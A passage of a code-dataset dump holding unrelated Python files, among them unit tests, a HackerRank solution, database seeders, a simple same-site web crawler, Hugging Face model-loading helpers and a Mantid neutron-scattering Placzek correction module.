when qpec_type = 800.\n        \"\"\"\n        self.param[\"n\"] = self.param[\"m\"] + 100\n        res = helpers.sanitize_params(self.param, qpec_type=800)\n        self.assertEqual(res[\"n\"], self.param[\"m\"])\n\n    def test_fix_first_deg(self):\n        \"\"\" Test fixing first_deg.\n        \"\"\"\n        self.param[\"first_deg\"] = self.param[\"l\"] + 100\n        res = helpers.sanitize_params(self.param)\n        self.assertEqual(res[\"first_deg\"], self.param[\"l\"])\n\n    def test_fix_mix_deg(self):\n        \"\"\" Test fixing mix_deg.\n        \"\"\"\n        self.param[\"mix_deg\"] = self.param[\"second_deg\"] + 100\n        res = helpers.sanitize_params(self.param)\n        self.assertEqual(res[\"mix_deg\"], self.param[\"second_deg\"])\n\n    def test_fix_yinfirstlevel(self):\n        \"\"\" Test fixing yinfirstlevel.\n        \"\"\"\n        self.param[\"yinfirstlevel\"] = None\n        res = helpers.sanitize_params(self.param)\n        self.assertTrue(res[\"yinfirstlevel\"])\n\n    def test_fix_missing_make_with_dbl_comps(self):\n        \"\"\" Test fixing missing yinfirstlevel.\n        \"\"\"\n        del self.param[\"make_with_dbl_comps\"]\n        res = helpers.sanitize_params(self.param)\n        self.assertFalse(res[\"make_with_dbl_comps\"])\n\n    def test_fix_make_with_dbl_comps_200(self):\n        \"\"\" Test fixing make_with_dbl_comps when qpec_type = 200.\n        \"\"\"\n        self.param[\"make_with_dbl_comps\"] = True\n        res = helpers.sanitize_params(self.param, qpec_type=200)\n        self.assertFalse(res[\"make_with_dbl_comps\"])\n\n    def test_fix_make_with_dbl_comps_201(self):\n        \"\"\" Test fixing make_with_dbl_comps when qpec_type = 201.\n        \"\"\"\n        self.param[\"make_with_dbl_comps\"] = True\n        res = helpers.sanitize_params(self.param, qpec_type=201)\n        self.assertFalse(res[\"make_with_dbl_comps\"])\n\n\nclass TestCreateName(unittest.TestCase):\n    \"\"\" Unittest for create_name.\n    \"\"\"\n\n    def test(self):\n        \"\"\" Test with a simple input.\n        \"\"\"\n        prefix = \"abd\"\n        size = 10\n        start = 5\n\n        res = helpers.create_name(prefix, size, start=start)\n        for number, name in zip(range(start, start + size), res):\n            desired = \"{prefix}{number}\".format(prefix=prefix, number=number)\n            self.assertEqual(name, desired)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"TrishGillett/PyQPECgen","sub_path":"tests/helpers_test.py","file_name":"helpers_test.py","file_ext":"py","file_size_in_byte":20758,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"13317819667","text":"# code written in python\n\ndef pickingNumbers(a):\n    a.sort()\n    count = [1]*len(a)  # to count 1 for the element itself\n    for i in range(len(a)-1): \n        for j in range (i+1,len(a)):\n            if ((a[i] == a[j]) or (a[i] == a[j]-1)):\n                count[i] += 1  # to add 1 each time \n    return max(count)\n\nif __name__ == '__main__':\n    fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n    n = int(input().strip())\n\n    a = list(map(int, input().rstrip().split()))\n\n    result = pickingNumbers(a)\n\n    fptr.write(str(result) + '\\n')\n\n    fptr.close()\n","repo_name":"chaarsobc/HackerRank-Solutions-Python","sub_path":"Picking-Numbers.py","file_name":"Picking-Numbers.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"42057755387","text":"\"\"\"\nto run tests: \npipenv shell python -m pytest tests\n\"\"\"\n\nimport pandas as pd\nimport pandas.util.testing as pdt\nfrom droprows import main\n\ndef test_droprows():\n    current_df = pd.DataFrame([['101', '123'],\n                                ['102', '234'],\n                                ['103', '345'], \n                                ['104', 'error'],\n                                ['105', 'error']], columns=['id', 'value'])\n\n    assert main.select_non_numeric(current_df) == ['104', '105']\n\n    previous_df = pd.DataFrame([['201', '223'],\n                                ['202', '334'],\n                                ['203', '445'], \n                                ['104', '456']], columns=['id', 'value'])\n    \n    correct_df = pd.DataFrame([['101', '123'],\n                                ['102', '234'],\n                                ['103', '345'], \n                                ['104', '456']], columns=['id', 'value'])\n\n    test_df = main.replace_non_numeric(current_df, previous_df)\n    pdt.assert_frame_equal(test_df, correct_df)","repo_name":"yinglinglow/new_repo_template","sub_path":"tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"73924484266","text":"from portfolio.models import Founder, Company, Individual\nfrom portfolio.seeders import Seeder\n\n\nclass FounderSeeder(Seeder):\n    FOUNDER_COUNT = 10\n\n    def seed(self):\n        self._populate_founders(self.FOUNDER_COUNT)\n        print(f\"{Founder.objects.count()} founders in the db.\\n\")\n\n    def _populate_founders(self, count):\n        \"\"\"Seeder for fake founders\"\"\"\n\n        print('seeding founders...')\n        for i in range(1, count + 1):\n\n            if Founder.objects.filter(id=i).exists():\n                print(f\"Founder with the id({i}) is already seeded.\")\n                continue\n\n            if not Company.objects.filter(id=i).exists() and not Individual.objects.filter(id=i).exists():\n                print(f\"Company or individual with the id({i}) does not exist.\")\n                continue\n\n            founder = Founder.objects.create(\n                companyFounded=Company.objects.get(id=i),\n                individualFounder=Individual.objects.get(id=i),\n            )\n            founder.save()\n            print(F\"Founders with id({founder.id}) has been seeded.\")\n","repo_name":"Yipyapyo/Wayra-Website","sub_path":"portfolio/seeders/founders.py","file_name":"founders.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"8201194872","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug  5 15:30:15 2022\n\n@author: cgran\n\"\"\"\n\n\nimport pandas as pd\nfrom graphs import rank_order\n\n\ndef separate_df_by_rank(df):\n    '''Creates separate dfs for each rank.\n        For the purpose of finding and removing statistical outliners'''\n    \n    rank_dict = {rank : df.loc[(df['Rank'] == rank)] for rank in rank_order()}\n    \n    return rank_dict\n    \n    \ndef combined_rank_df(rank_dict):\n    '''Combines the separate rank dfs into one'''\n    \n    df = pd.DataFrame(columns=rank_dict['Radiant'].columns)\n    \n    for rank in rank_order():\n        df = pd.concat([df, rank_dict[rank]])\n    \n    return df\n    \n       \ndef no_IQR_outliers(df):\n    '''a function to find outliers using IQR\n        and return the ones that are not outliers'''\n    \n    Q1 = df.quantile(0.25)\n    Q3 = df.quantile(0.75)\n    IQR = Q3 - Q1\n    \n    not_outliers = df[~((df.lt(Q1 - 1.5*IQR)) \n                        | (df.gt(Q3 + 1.5*IQR))).any(axis=1)]\n    \n    return not_outliers\n    \n    \ndef remove_stat_outliers(df, data_path):\n    '''removes statistical outliers from each rank'''\n    \n    rank_dict = separate_df_by_rank(df)\n    \n    no_outliers_dict = {rank: no_IQR_outliers(rank_dict[rank]) \n                        for rank in rank_dict}\n    \n    new_df = combined_rank_df(no_outliers_dict).reset_index(drop=True) \n\n    new_df.to_csv(f'{data_path}cleaned_total_list.csv', index=False)\n    \n    return new_df","repo_name":"cgrant093/Valorant-Data-Project","sub_path":"src/remove_statistical_outliers.py","file_name":"remove_statistical_outliers.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"23593035868","text":"\"\"\"\n\"\"\"\n\nimport logging\nimport login_database\nimport uuid\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\ndef populate_db():\n    \"\"\"\n    \"\"\"\n\n    donor_data = [\n        {'uuid': str(uuid.uuid4()), 'donor_name': 'Al Donor1', 'donations': [10.00, 20.00, 30.00, 40.00, 50.00]},\n        {'uuid': str(uuid.uuid4()), 'donor_name': 'Bert Donor2', 'donations': [10.00]},\n        {'uuid': str(uuid.uuid4()), 'donor_name': 'Connie Donor3', 'donations': [10.00, 10.00, 10.01]},\n        {'uuid': str(uuid.uuid4()), 'donor_name': 'Dennis Donor4', 'donations': [10.00, 20.00, 20.00]},\n        {'uuid': str(uuid.uuid4()), 'donor_name': 'Egbert Donor5', 'donations': [10.39, 20.21, 10.59, 4000.40]},\n    ]\n\n    try:\n        with login_database.login_mongodb_cloud() as client:\n            db = client['dev']\n            mailroom = db['mailroom']\n            mailroom.insert_many(donor_data)\n        logger.info('Database add successful')\n\n    except Exception as e:\n        logger.info(f'Error creating MongoDB mailroom database.')\n        logger.info(e)\n\n    finally:\n        logger.info('database closes')\n\n\n\nif __name__ == '__main__':\n    populate_db()\n    # with login_database.login_mongodb_cloud() as client:\n    #     db = client['dev']\n    #     db.drop_collection('mailroom')","repo_name":"UWPCE-PythonCert-ClassRepos/Sp2018-Online","sub_path":"students/ChrisH/lesson08/assignment/populate_mailroom_mongodb.py","file_name":"populate_mailroom_mongodb.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"16121160222","text":"# -*- coding: utf-8 -*-\n\n# (определение функций)\nimport random\nimport simple_draw\n\n# Написать функцию отрисовки смайлика по заданным координатам\n# Форма рожицы-смайлика на ваше усмотрение\n# Параметры функции: кордината X, координата Y, цвет.\n# Вывести 10 смайликов в произвольных точках экрана.\n\nresolution_x, resolution_y = 1200, 800\nsimple_draw.resolution = (resolution_x, resolution_y)\n\n\ndef smile(x, y, color):\n    smile_center = simple_draw.get_point(x, y)\n    smile_eye_right = simple_draw.get_point(x - 15, y + 10)\n    smile_eye_left = simple_draw.get_point(x + 15, y + 10)\n    smile_nose_point1 = simple_draw.get_point(x, y + 5)\n    smile_nose_point2 = simple_draw.get_point(x - 5, y - 10)\n    smile_nose_point3 = simple_draw.get_point(x + 5, y - 10)\n    smile_nose = [smile_nose_point1, smile_nose_point2, smile_nose_point3]\n    smile_mouth_point1 = simple_draw.get_point(x - 20, y - 20)\n    smile_mouth_point2 = simple_draw.get_point(x + 20, y - 20)\n    simple_draw.circle(smile_center, 50, color, 3)\n    simple_draw.circle(smile_eye_left, 5, color, 3)\n    simple_draw.circle(smile_eye_right, 5, color, 3)\n    simple_draw.lines(smile_nose, color, width=3)\n    simple_draw.line(smile_mouth_point1, smile_mouth_point2, color, 3)\n\n\nfor _ in range(10):\n    smile(random.randint(50, resolution_x - 50), random.randint(50, resolution_y - 50), simple_draw.random_color())\n\nsimple_draw.pause()\n\n# зачет!\n","repo_name":"konkere/python_base","sub_path":"lesson_003/08_smile.py","file_name":"08_smile.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"34872894577","text":"# Author: Mystik Developed\n#\n# Date: 1/3/2019 \n#\n# Scan a target website\n#\n#!/usr/bin/env python\n\n#reqs\nimport requests\nimport re\nimport urlparse\nimport argparse\n\n\n# Get necessary args\ndef getArgs():\n    parser = argparse.ArgumentParser()  # argparse intialize\n\n    # Obtain target range to scan\n    parser.add_argument(\n      \"-t\",\n      \"--target\",\n      dest=\"target\",\n      help=\"Target URL to spider\")\n\n    # parser.add_argument(\n    #   \"-w\",\n    #   \"--wordlist\",\n    #   dest=\"wordlist\",\n    #   help=\"Wordlist to use\")\n\n    options = parser.parse_args()\n\n    # verify arguments\n    if not options.target:\n        parser.error(\"[-] No URL provided. See --help for more info\")\n    elif not options.wordlist:\n        parser.error(\"[-] No wordlist provided. See --help for more info\")\n    else:\n        return options\n\n\noptions = getArgs()\ntarget_url = options.target\n# wordlist = options.wordlist\ntarget_links = []\n\n\ndef extract_links(url):\n    res = requests.get(target_url)\n    return re.findall('(?:href=\")(.*?)\"', res.content)\n\ndef crawl(url):\n    href_links = extract_links(target_url)\n    for link in href_links:\n        link = urlparse.urljoin(target_url, link)\n\n        if \"#\" in link:\n            link = link.split(\"#\")[0]\n\n        if target_url in link and link not in target_links:\n            target_links.append(link)\n            print(link)\n            crawl(link)\n\n\ncrawl(target_url)\n\n# #subdomain list\n# subdom_list = []\n#\n# #check for subdomains\n# def subdom_check(url):\n#   try:\n#     with open(wordlist, \"r\") as wordlist:\n#       for line in wordlist:\n#         word = line.strip()\n#         test_subdom = word + \".\" + target_url\n#         res = subdom_check(test_subdom)\n#         if res:\n#           subdom_dict = {\"subdomain\": test_subdom, \"res\": res}\n#           print(\"[+] Subdomain --> \" + test_subdom)\n#           subdom_list.append(subdom_dict)\n#   except requests.exceptions.ConnectionError:\n#     pass\n#\n#\n# def subdom_results(results_list):\n#   print(\"\\tSubdomain\\t\\t\\tResponse Code\\n-------------------------------------\")\n#\n#   for domain in results_list:\n#     print(\"\\t\" + domain[\"subdomain\"] + \"\\t\\t\" + domain[\"res\"])\n","repo_name":"yajatgupta1993/python-projects","sub_path":"web_spider.py","file_name":"web_spider.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"}
+{"seq_id":"42679040543","text":"import torch\nimport transformers\nfrom transformers import (\n    AutoConfig,\n    AutoModel,\n    AutoTokenizer,\n    PretrainedConfig,\n    PreTrainedModel,\n    PreTrainedTokenizerBase,\n)\n\nfrom .data_utils import prevent_name_conflicts\n\n# Ordered by preference\n_DECODER_ONLY_SUFFIXES = [\n    \"CausalLM\",\n    \"LMHeadModel\",\n]\n# Includes encoder-decoder models\n_AUTOREGRESSIVE_SUFFIXES = [\"ConditionalGeneration\"] + _DECODER_ONLY_SUFFIXES\n\n\ndef instantiate_model(\n    model_str: str,\n    device: str | torch.device = \"cpu\",\n    **kwargs,\n) -> PreTrainedModel:\n    \"\"\"Instantiate a model string with the appropriate `Auto` class.\"\"\"\n    device = torch.device(device)\n    kwargs[\"device_map\"] = {\"\": device}\n\n    with prevent_name_conflicts():\n        model_cfg = AutoConfig.from_pretrained(model_str)\n\n        # When the torch_dtype is None, this generally means the model is fp32, because\n        # the config was probably created before the `torch_dtype` field was added.\n        fp32_weights = model_cfg.torch_dtype in (None, torch.float32)\n\n        # Required by `bitsandbytes` to load in 8-bit.\n        if kwargs.get(\"load_in_8bit\"):\n            # Sanity check: we probably shouldn't be loading in 8-bit if the checkpoint\n            # is in fp32. `bitsandbytes` only supports mixed fp16/int8 inference, and\n            # we can't guarantee that there won't be overflow if we downcast to fp16.\n            if fp32_weights:\n                raise ValueError(\"Cannot load in 8-bit if weights are fp32\")\n\n            kwargs[\"torch_dtype\"] = torch.float16\n\n        # CPUs generally don't support anything other than fp32.\n        elif device.type == \"cpu\":\n            kwargs[\"torch_dtype\"] = torch.float32\n\n        # If the model is fp32 but bf16 is available, convert to bf16.\n        # Usually models with fp32 weights were actually trained in bf16, and\n        # converting them doesn't hurt performance.\n        elif fp32_weights and torch.cuda.is_bf16_supported():\n            kwargs[\"torch_dtype\"] = torch.bfloat16\n            print(\"Weights seem to be fp32, but bf16 is available. Loading in bf16.\")\n        else:\n            kwargs[\"torch_dtype\"] = \"auto\"\n\n        archs = model_cfg.architectures\n        if not isinstance(archs, list):\n            return AutoModel.from_pretrained(model_str, **kwargs)\n\n        for suffix in _AUTOREGRESSIVE_SUFFIXES:\n            # Check if any of the architectures in the config end with the suffix.\n            # If so, return the corresponding model class.\n            for arch_str in archs:\n                if arch_str.endswith(suffix):\n                    model_cls = getattr(transformers, arch_str)\n                    return model_cls.from_pretrained(model_str, **kwargs)\n\n        return AutoModel.from_pretrained(model_str, **kwargs)\n\n\ndef instantiate_tokenizer(model_str: str, **kwargs) -> PreTrainedTokenizerBase:\n    \"\"\"Instantiate a tokenizer, using the fast one iff it exists.\"\"\"\n    with prevent_name_conflicts():\n        try:\n            return AutoTokenizer.from_pretrained(model_str, use_fast=True, **kwargs)\n        except Exception as e:\n            if kwargs.get(\"verbose\", True):\n                print(f\"Falling back to slow tokenizer; fast one failed: '{e}'\")\n\n            return AutoTokenizer.from_pretrained(model_str, use_fast=False, **kwargs)\n\n\ndef is_autoregressive(model_cfg: PretrainedConfig, include_enc_dec: bool) -> bool:\n    \"\"\"Check if a model config is autoregressive.\"\"\"\n    archs = model_cfg.architectures\n    if not isinstance(archs, list):\n        return False\n\n    suffixes = _AUTOREGRESSIVE_SUFFIXES if include_enc_dec else _DECODER_ONLY_SUFFIXES\n    return any(arch_str.endswith(suffix) for arch_str in archs for suffix in suffixes)\n","repo_name":"EleutherAI/elk","sub_path":"elk/utils/hf_utils.py","file_name":"hf_utils.py","file_ext":"py","file_size_in_byte":3711,"program_lang":"python","lang":"en","doc_type":"code","stars":145,"dataset":"github-code","pt":"37"}
+{"seq_id":"24309342582","text":"import sys\nimport json\nimport collections\nimport numpy as np\nimport scipy\nfrom mantid import mtd\nfrom mantid.simpleapi import \\\n    CreateWorkspace, \\\n    Load, \\\n    SetSampleMaterial\n\nfrom total_scattering.inelastic.incident_spectrum import \\\n    FitIncidentSpectrum, GetIncidentSpectrumFromMonitor\n\n\n# -------------------------------------------------------------------------\n# Placzek - 1st order inelastic correction\ndef GetLogBinning(start, stop, num=100):\n    return np.logspace(\n        np.log(start),\n        np.log(stop),\n        num=num,\n        endpoint=True,\n        base=np.exp(1))\n\n\ndef ConvertLambdaToQ(lam, angle):\n    angle_conv = np.pi / 180.\n    sin_theta_by_2 = np.sin(angle * angle_conv / 2.)\n    q = (4. * np.pi / lam) * sin_theta_by_2\n    return q\n\n\ndef ConvertQToLambda(q, angle):\n    angle_conv = np.pi / 180.\n    sin_theta_by_2 = np.sin(angle * angle_conv / 2.)\n    lam = (4. * np.pi / q) * sin_theta_by_2\n    return lam\n\n\ndef GetSampleSpeciesInfo(InputWorkspace):\n    # get sample information: mass, total scattering length, and concentration\n    # of each species\n    total_stoich = 0.0\n    material = mtd[InputWorkspace].sample().getMaterial().chemicalFormula()\n    atom_species = collections.OrderedDict()\n    for atom, stoich in zip(material[0], material[1]):\n        print(atom.neutron()['tot_scatt_length'])\n\n        # <b^2> == scatter_xsection / 4*pi (in barns)\n        material = mtd[InputWorkspace].sample().getMaterial()\n        b_sqrd_bar = material.totalScatterXSection() / (4. * np.pi)\n\n        atom_species[atom.symbol] = {'mass': atom.mass,\n                                     'stoich': stoich,\n                                     'b_sqrd_bar': b_sqrd_bar}\n        total_stoich += stoich\n\n    for atom, props in atom_species.items(\n    ):  # inefficient in py2, but works with py3\n        props['concentration'] = props['stoich'] / total_stoich\n\n    return atom_species\n\n\ndef CalculateElasticSelfScattering(InputWorkspace):\n\n    atom_species = GetSampleSpeciesInfo(InputWorkspace)\n\n    # calculate elastic self-scattering term\n    elastic_self_term = 0.0\n    for species, props in atom_species.items(\n    ):  # inefficient in py2, but works with py3\n        elastic_self_term += props['concentration'] * props['b_sqrd_bar']\n\n    return elastic_self_term\n\n\ndef CalculatePlaczekSelfScattering(\n        IncidentWorkspace,\n        OutputWorkspace,\n        L1,\n        L2,\n        Polar,\n        CalcInterfere=False,\n        SampleT=None,\n        Azimuthal=None,\n        Detector=None,\n        ParentWorkspace=None):\n\n    # constants and conversions\n    key = 'atomic mass unit-kilogram relationship'\n    amu_kg = scipy.constants.physical_constants[key][0]\n    factor = 1. / amu_kg\n    neutron_mass = factor * scipy.constants.m_n\n\n    # get sample information: mass, total scattering length, and concentration\n    # of each species\n    atom_species = GetSampleSpeciesInfo(IncidentWorkspace)\n\n    # calculate summation term w/ neutron mass over molecular mass ratio\n    summation_term = 0.0\n    for species, props in atom_species.items(\n    ):  # inefficient in py2, but works with py3\n        summation_term += props['concentration'] * \\\n            props['b_sqrd_bar'] * neutron_mass / props['mass']\n\n    # get incident spectrum and 1st derivative\n    incident_index = 0\n    incident_prime_index = 1\n\n    x_lambda = mtd[IncidentWorkspace].readX(incident_index)\n    incident = mtd[IncidentWorkspace].readY(incident_index)\n    incident_prime = mtd[IncidentWorkspace].readY(incident_prime_index)\n\n    phi_1 = x_lambda * incident_prime / incident\n\n    # Set default Detector Law\n    if Detector is None:\n        Detector = {'Alpha': None,\n                    'LambdaD': 1.44,\n                    'Law': '1/v'}\n\n    # Set detector exponential coefficient alpha\n    if Detector['Alpha'] is None:\n        Detector['Alpha'] = 2. * np.pi / Detector['LambdaD']\n\n    # Detector law to get eps_1(lambda)\n    if Detector['Law'] == '1/v':\n        c = -Detector['Alpha'] / (2. * np.pi)\n        x = x_lambda\n        detector_law_term = -c * (2. * np.pi / x) * \\\n            np.exp(c * x) / (1. - np.exp(c * x))\n\n    eps_1 = detector_law_term\n\n    if CalcInterfere:\n        incident_prime_index = 2\n        incident_prime_2 = mtd[IncidentWorkspace].readY(incident_prime_index)\n        phi_2 = x_lambda**2. * incident_prime_2 / incident\n        eps_2 = eps_1 * c * (2. * np.pi / x)\n        kB_const = 1.38E-23  # m^2 kg s^{-2} K^{-1}\n        h_const = 6.63E-34  # m^2 kg s^{-1}\n        dal_to_kg = 1.66E-27\n        angs_to_ms = 1.E-20\n\n        energy_val = h_const**2. / (2. * neutron_mass * dal_to_kg *\n                                    x_lambda**2. * angs_to_ms)\n        energy_term = kB_const * SampleT / energy_val\n\n    # Set default azimuthal angle\n    if Azimuthal is None:\n        Azimuthal = np.zeros(len(Polar))\n\n    # Placzek\n    '''\n    Original Placzek inelastic correction Ref (for constant wavelength):\n        Placzek, Phys. Rev v86, (1952), pp. 377-388\n    First Placzek correction for time-of-flight, pulsed source (also reactor):\n        Powles, Mol. Phys., v6 (1973), pp.1325-1350\n    Nomenclature and calculation for this program follows Ref:\n         Howe, McGreevy, and Howells, J. Phys.: Condens. Matter v1,\n            (1989), pp. 3433-3451\n\n    NOTE: Powles's Equation for inelastic self-scattering is equal\n    to Howe's Equation for P(theta)\n    by adding the elastic self-scattering\n    '''\n    x_lambdas = np.array([])\n    placzek_correction = np.array([])\n    for bank, (l2, theta, phi) in enumerate(zip(L2, Polar, Azimuthal)):\n        # variables\n        L_total = L1 + l2\n        f = L1 / L_total\n\n        angle_conv = np.pi / 180.\n        sin_theta_by_2 = np.sin(theta * angle_conv / 2.)\n\n        term1 = (f - 1.) * phi_1\n        term2 = f * eps_1\n        term3 = f - 3.\n\n        # per_bank_q = ConvertLambdaToQ(x_lambda,theta) - See Eq. (A1.14) of\n        inelastic_placzek_self_correction = 2. * \\\n            (term1 - term2 + term3) \\\n            * sin_theta_by_2 * sin_theta_by_2 * summation_term\n        inelastic_placzek_interfere = np.zeros(len(x_lambda))\n        if CalcInterfere:\n            term1_1 = (8. * f - 9.) * (f - 1.) * phi_1 - \\\n                3. * f * (2. * f - 3.) * eps_1\n            term1_2 = 2. * f * (1. - f) * phi_1 * eps_1\n            term1_3 = (1. - f)**2. * phi_2 + f**2. * eps_2\n            term1_4 = 3. * (4. * f - 5.) * (f - 1.)\n            term2_1 = (4. * f - 7.) * (f - 1.) * phi_1\n            term2_2 = f * (7. - 2. * f) * eps_1 + \\\n                2. * f * (1. - f) * phi_1 * eps_1\n            term2_3 = (1. - f)**2. * phi_2 + f**2. * eps_2\n            term2_4 = 2. * f**2. - 7. * f + 8.\n            term1 = term1_1 + term1_2 + term1_3 + term1_4\n            term2 = term2_1 + term2_2 + term2_3 + term2_4\n            inelastic_placzek_interfere = summation_term * \\\n                (energy_term / 2. + energy_term * sin_theta_by_2**2. * term1) \\\n                + 2. * sin_theta_by_2**2. * summation_term * \\\n                (1. + sin_theta_by_2**2. * term2)\n        x_lambdas = np.append(x_lambdas, x_lambda)\n        placzek_correction = np.append(\n            placzek_correction,\n            inelastic_placzek_self_correction + inelastic_placzek_interfere)\n\n    if ParentWorkspace:\n        CreateWorkspace(\n            DataX=x_lambdas,\n            DataY=placzek_correction,\n            OutputWorkspace=OutputWorkspace,\n            UnitX='Wavelength',\n            NSpec=len(Polar),\n            ParentWorkspace=ParentWorkspace,\n            Distribution=True)\n    else:\n        CreateWorkspace(\n            DataX=x_lambdas,\n            DataY=placzek_correction,\n            OutputWorkspace=OutputWorkspace,\n            UnitX='Wavelength',\n            NSpec=len(Polar),\n            Distribution=True)\n    print(\"Placzek YUnit:\", mtd[OutputWorkspace].YUnit())\n    print(\"Placzek distribution:\", mtd[OutputWorkspace].isDistribution())\n\n    return mtd[OutputWorkspace]\n\n# Start Placzek calculations\n\n\nif '__main__' == __name__:\n    # Get input parameters\n    configfile = sys.argv[1]\n    with open(configfile) as handle:\n        config = json.loads(handle.read())\n\n    # Get sample and correction info\n    sample = config['Sample']\n    opts = sample['InelasticCorrection']\n\n    # Get incident spectrum\n    runs = sample[\"Runs\"].split(',')\n    runs = [\"%s_%s\" % (config[\"Instrument\"], run) for run in runs]\n    print(\"Processing Scan: \", runs[0])\n\n    incident_ws = 'incident_ws'\n    GetIncidentSpectrumFromMonitor(runs[0], OutputWorkspace=incident_ws)\n\n    # Fit incident spectrum\n    incident_fit = 'incident_fit'\n    fit_type = opts['FitSpectrumWith']\n    FitIncidentSpectrum(InputWorkspace=incident_ws,\n                        OutputWorkspace=incident_fit,\n                        FitSpectrumWith=fit_type,\n                        BinningForFit=opts['LambdaBinningForFit'],\n                        BinningForCalc=opts['LambdaBinningForCalc'],\n                        PlotDiagnostics=opts['PlotFittingDiagnostics'])\n\n    # Set sample info\n    SetSampleMaterial(incident_fit, ChemicalFormula=str(sample['Material']))\n    CalculateElasticSelfScattering(InputWorkspace=incident_fit)\n    atom_species = GetSampleSpeciesInfo(incident_fit)\n\n    # Parameters for NOMAD detectors by bank\n    L1 = 19.5\n    banks = collections.OrderedDict()\n    banks[0] = {'L2': 2.01, 'theta': 15.10}\n    banks[1] = {'L2': 1.68, 'theta': 31.00}\n    banks[2] = {'L2': 1.14, 'theta': 65.00}\n    banks[3] = {'L2': 1.11, 'theta': 120.40}\n    banks[4] = {'L2': 0.79, 'theta': 150.10}\n    banks[5] = {'L2': 2.06, 'theta': 8.60}\n\n    L2 = [x['L2'] for bank, x in banks.iteritems()]\n    Polar = [x['theta'] for bank, x in banks.iteritems()]\n\n    parent = 'parent_ws'\n    placzek = 'placzek_out'\n    Load(Filename=runs[0], OutputWorkspace=parent)\n    CalculatePlaczekSelfScattering(IncidentWorkspace=incident_fit,\n                                   OutputWorkspace=placzek,\n                                   L1=19.5,\n                                   L2=L2,\n                                   Polar=Polar,\n                                   ParentWorkspace=parent)\n","repo_name":"neutrons/mantid_total_scattering","sub_path":"total_scattering/inelastic/placzek.py","file_name":"placzek.py","file_ext":"py","file_size_in_byte":10124,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"24023371305","text":"import csv\nfrom random import shuffle\n\ndef writeClassifiedMovesCSV(entries):\n  with open('data/classified-moves.csv', 'w') as fh:\n    writer = csv.writer(fh, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n    writer.writerow(['engine', 'moveNumber', 'rank', 'loss', 'advantage', 'ambiguity', 'timeConsistent', 'emt', 'rOnAmb', 'onlyMove'])\n    shuffle(entries)\n    [writer.writerow(entry) for entry in entries]     \n\ndef writeClassifiedChunksCSV(entries):\n  with open('data/classified-chunks.csv', 'w') as fh:\n    writer = csv.writer(fh, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n    writer.writerow(['engine', 'moveNo',\n      'rank1', 'loss1', 'advantage1', 'ambiguity1', 'timeConsistent1', 'emt1', 'rOnAmb1', 'onlyMove1',\n      'rank2', 'loss2', 'advantage2', 'ambiguity2', 'timeConsistent2', 'emt2', 'rOnAmb2', 'onlyMove2',\n      'rank3', 'loss3', 'advantage3', 'ambiguity3', 'timeConsistent3', 'emt3', 'rOnAmb3', 'onlyMove3',\n      'rank4', 'loss4', 'advantage4', 'ambiguity4', 'timeConsistent4', 'emt4', 'rOnAmb4', 'onlyMove4',\n      'rank5', 'loss5', 'advantage5', 'ambiguity5', 'timeConsistent5', 'emt5', 'rOnAmb5', 'onlyMove5',\n      'rank6', 'loss6', 'advantage6', 'ambiguity6', 'timeConsistent6', 'emt6', 'rOnAmb6', 'onlyMove6',\n      'rank7', 'loss7', 'advantage7', 'ambiguity7', 'timeConsistent7', 'emt7', 'rOnAmb7', 'onlyMove7',\n      'rank8', 'loss8', 'advantage8', 'ambiguity8', 'timeConsistent8', 'emt8', 'rOnAmb8', 'onlyMove8',\n      'rank9', 'loss9', 'advantage9', 'ambiguity9', 'timeConsistent9', 'emt9', 'rOnAmb9', 'onlyMove9',\n      'rank10', 'loss10', 'advantage10', 'ambiguity10', 'timeConsistent10', 'emt10','rOnAmb10', 'onlyMove10'\n    ])\n    shuffle(entries)\n    [writer.writerow(entry) for entry in entries]\n\ndef writeClassifiedMoveChunksCSV(entries):\n  with open('data/classified-move-chunks.csv', 'w') as fh:\n    writer = csv.writer(fh, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n    writer.writerow(['engine', 'move1', 'move2', 'move3', 'move4',\n      'chunk1', 'chunk2', 'chunk3', 'chunk4', 'pmove1', 'pmove2', 'pmove3', 'pvmove4',\n      'pchunk1', 'pchunk2', 'pchunk3', 'pchunk4', 'streak1', 'streak2', 'streak3', 'streak4',\n      'pstreak1', 'pstreak2', 'pstreak3', 'pstreak4', 'winningIndex'])\n    shuffle(entries)\n    [writer.writerow(entry) for entry in entries]\n\ndef writeClassifiedGamesCSV(entries):\n  with open('data/classified-games.csv', 'w') as fh:\n    writer = csv.writer(fh, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n    writer.writerow(['engine', 'gb1', 'gb2', 'gb3', 'gb4', 'gp1', 'gp2', 'gp3', 'gp4', 's1', 's2', 's3', 's4', 'sp1', 'sp2', 'sp3', 'sp4'])\n    shuffle(entries)\n    [writer.writerow(entry) for entry in 